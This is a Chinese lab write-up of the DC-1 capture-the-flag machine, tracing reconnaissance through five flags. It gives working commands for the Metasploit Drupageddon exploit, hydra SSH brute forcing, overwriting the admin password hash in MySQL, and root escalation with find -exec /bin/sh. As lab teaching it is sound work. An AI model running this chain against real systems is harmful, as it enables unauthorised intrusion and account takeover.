渗透测试:DC-1靶机

一、扫描获取靶机ip

方法一

1.使用 ip add 查看kali ip

1.png
192.168.203.130

2.用nmap扫描192.168.203.0/24以获取靶机ip

nmap -sP 192.168.203.0/24
2.png

得到ip

192.168.203.138

方法二

arp-scan -l 
2.png

得到ip

192.168.203.138

二、获取网站信息

1.nmap

nmap -sV -A 192.168.203.138
4.png 5.png

可以看到,开放了三个端口22、80、111

其中80端口中存在robots.txt文件

7.png

在UPGRADE.txt文件中可以的设置本网站使用的是Drupal7

8.png

2.Wappaloyzer

6.png

用谷歌插件wappalyzer可以看到

这个网站的环境

CMS:Drupal 7

服务器:Apache

操作系统:Debian

JS库:jQuery 1.4.4

编译语言:PHP 5.4.45

三、getshell

1.flag1

使用msfconsole扫描网站目录

root@kali:~# msfconsole
msf5 > use auxiliary/scanner/http/dir_scanner
msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.203.138	# 设置远程主机地址
msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 20	# 设置并发线程数量
msf5 auxiliary(scanner/http/dir_scanner) > show options  #查看选项
msf5 auxiliary(scanner/http/dir_scanner) > run	# 开始扫描
9.png

使用msf搜索Drupal框架的漏洞

search drupal
10.png

可以查看到提供了8个可以使用的工具

我们可以依次尝试

use Name(工具的名字)
set RHOSTS 192.168.203.138
run

经过尝试后发现exploit/multi/http/drupal_drupageddon可以用

use exploit/multi/http/drupal_drupageddon
set RHOSTS 192.168.203.138
run
11.png

成功getshell后,ls查看文件,发现flag1.txt,cat flag1.txt

12.png

2.flag2

根据flag1的提示,我们可以查看CMS的配置文件

百度一下drupal的配置文件默认位置位于sites/default/settings.php

cd sites/default/
ls
cat settings.php
13.png 14.png

flag2提示字典爆破不是获取访问权限的唯一方法

15.png

同时也告诉了我们

数据库名是 drupaldb

账号是 dbuser

密码是 R0ck3t

3.flag3

由于知道了数据库账号密码,我们尝试登录

16.png

发现无此命令,输入shenll换壳

17.png

成功登录但是没有回显,我们另寻思路

linux下有两个专门存在的存放密码的路径,一个是/etc/passwd,一个是/etc/shadow

/etc/passwd是用户数据库,其中的域给出了用户名、加密口令和用户的其他信息. /etc/shadow是在安装了影子(shadow)口令软件的系统上的影子口令文件。影子口令文件将/etc/passwd 文件中的加密口令移动到/etc/shadow中,而后者只对超级用户root可读。这使破译口令更困难,以此增加系统的安全性。

由于没有root权限,先查看/etc/passwd文件

24.png

发现用户flag4,密码被加密,使用hydra暴破

hydra -l flag4 -P /root/john-1.8.0/run/password.lst ssh://192.168.203.138
26.png

得到flag4用户的密码为orange

通过ssh远程连接

ssh flag4@192.168.203.138
27.png

登录mysql

mysql -u dbuser -p
28.png 29.png

由于我们想要登录,所以需要看的是账号密码

select * from users;
30.png

可以看到admin的密码被SHA-512加密为

$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

我们可以将数据库进行修改

把damin的值变成

$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

PS:这个是password的SHA-512加密运算结果

update users SET pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';
31.png

然后在登录直接登录,账号:admin 密码:password

32.png

在contenr发现flag3

33.png 34.png

4.flag4

根据flag3的提示,让我们查看shadow,但只有root权限才能读取、etc/shadow所以我们需要想办法获取root权限。

shell
pyrhon -c 'import pty;pty.spawn("/bin/sh")'
whoami

使用python反弹一个交互式shell

18.png

进行suid提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

查询find是否可以使用

find / -type f -perm -u=s 2>/dev/null
19.png

发现可以使用find,利用find进行提权

find / -type f -name getflag -exec "/bin/sh" \;
20.png

查找名为flag的文件

find / -name flag*
21.png

发现flag4.text

22.png

5.flag5

根据4的提示,我们访问root文件夹,发现thefinalflag.txt

23.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C1yas0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值